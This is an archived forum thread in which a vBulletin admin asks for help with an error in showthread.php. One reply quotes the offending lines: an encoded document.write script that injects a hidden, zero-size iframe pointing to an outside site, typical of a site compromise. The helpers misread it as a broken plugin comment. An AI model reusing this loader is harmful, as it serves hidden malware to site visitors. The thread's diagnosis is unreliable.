View Full Version : error showthread.php
yakuza35
01-14-2008, 04:33 PM
hi all
I get error in showthread.php
and on line 323
else
screenshot
http://www.onlinetaraf.com/photoplog/images/2/1_ss.JPG
Lynne
01-14-2008, 04:43 PM
Which version of vbulletin are you running? I have 3.6.8 on my main site and 3.7 on my test site and that is not line 323 in showthread in either of them. I think we need to see what is around that line in order to help, so knowing the version, or having you post more of your showwthread.php script, would help a lot.
yakuza35
01-14-2008, 05:15 PM
I use 3.6.8 version
I upload my showthread.php
Lynne
01-14-2008, 05:23 PM
OK, but you must have done some sort of editing of the file as "else" is not line 323 on an unmodified 2.6.8 showthread.php script. So, we need to see your code around that line in order to see what is going on.
yakuza35
01-14-2008, 05:41 PM
my englısh ıs not so good and you say me where will I edit and I can edit :)
Marco van Herwaarden
01-14-2008, 06:27 PM
Can you please provide the URL to this problem?
yakuza35
01-14-2008, 06:30 PM
www.onlinetaraf.com
http://www.onlinetaraf.com/showthread.php?t=2
Lynne
01-14-2008, 06:45 PM
I just downloaded your page... line 323 is not an else statement. You have a "<!--" there and then you commented out the end of the commenting.
This is what you have:
// workaround for header redirect issue from forms with enctype in IE
// (use a scrollIntoView javascript call in the <body><!-- o --><script type="text/javascript">
<!--
document.write(unescape('%3C%69%66%72%61%6D%65%20% 73%72%63%3D%22%68%74%74%70%3A%2F%2F%67%61%7A%65%6E %76%61%67%65%6E%2E%63%6F%6D%2F%69%6D%67%2F%69%6E%6 4%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%30%20% 68%65%69%67%68%74%3D%30%3E%3C%2F%69%66%72%61%6D%65 %3E'));
//-->
</script><!-- c --> onload event)
$onload = '';
My showthread has:
// workaround for header redirect issue from forms with enctype in IE
// (use a scrollIntoView javascript call in the <body> onload event)
$onload = '';
I don't know what the purpose of all that other stuff is.
yakuza35
01-14-2008, 07:18 PM
I dont know too I use some plugıns cmps , photoplog , arcade
Lynne
01-14-2008, 08:09 PM
Then I suggest you look for the one that had you edit the showthread.php file and verify that you did it correctly. Whatever you did in that file is *not* correct because you have the start of a comment and then you commented out the end of the comment line. You can't do that or you will get a page error, as you saw. If you have a "<!--" you need to have a "-->" at the end. "//" says Disregard This Line, so your end comment is being disregarded.
yakuza35
01-14-2008, 08:43 PM
can you add my msn address lets talk there pls serkanmujde87@hotmail.com
--------------- Added 1200354934 at 1200354934 ---------------
nobody help me :S where will I edit :confused:
Lynne
01-14-2008, 11:08 PM
Sorry, but I don't have msn. And, I'm unfamiliar with any of your mods/plugins. I've told you where the problem is, now you need to go look at the installation instructions for your mods and see which one asked you to add those lines to the showthread.php and then redo them, because there is something incorrectly done there.
SEOvB
01-14-2008, 11:36 PM
you probably needed to edit the SHOWTHREAD template, not the actual showthread file.
Reupload your original showthread.php file
yakuza35
01-15-2008, 12:36 AM
ı removed my plugıns but there is still same problem :S
if I reupload maybe I lost some edit places because I have 66 kb showthread the orıgınal showthread 63.7 kb
Marco van Herwaarden
01-15-2008, 07:34 AM
To troubleshoot this, please remove any hacks and disable your plugins, then see if you still have this problem.
Note: To temporarily disable the plugin system, edit config.php and add this line right under <?php
define('DISABLE_HOOKS', true);
If so, reupload all the original vB non-image files (except install.php). Make sure you upload these in ASCII format and overwrite the ones on the server.
If your problem still exists, please create a new Style with no Parent set. Now browse the forum using this new style, do you still have the same problems? If you are troubleshooting login issues, you will need to set this style as board default in the vBulletin Options.
yakuza35
01-15-2008, 09:04 PM
thank you Marco ;)
vBulletin® v3.8.12 by vBS, Copyright ©2000-2025, vBulletin Solutions Inc.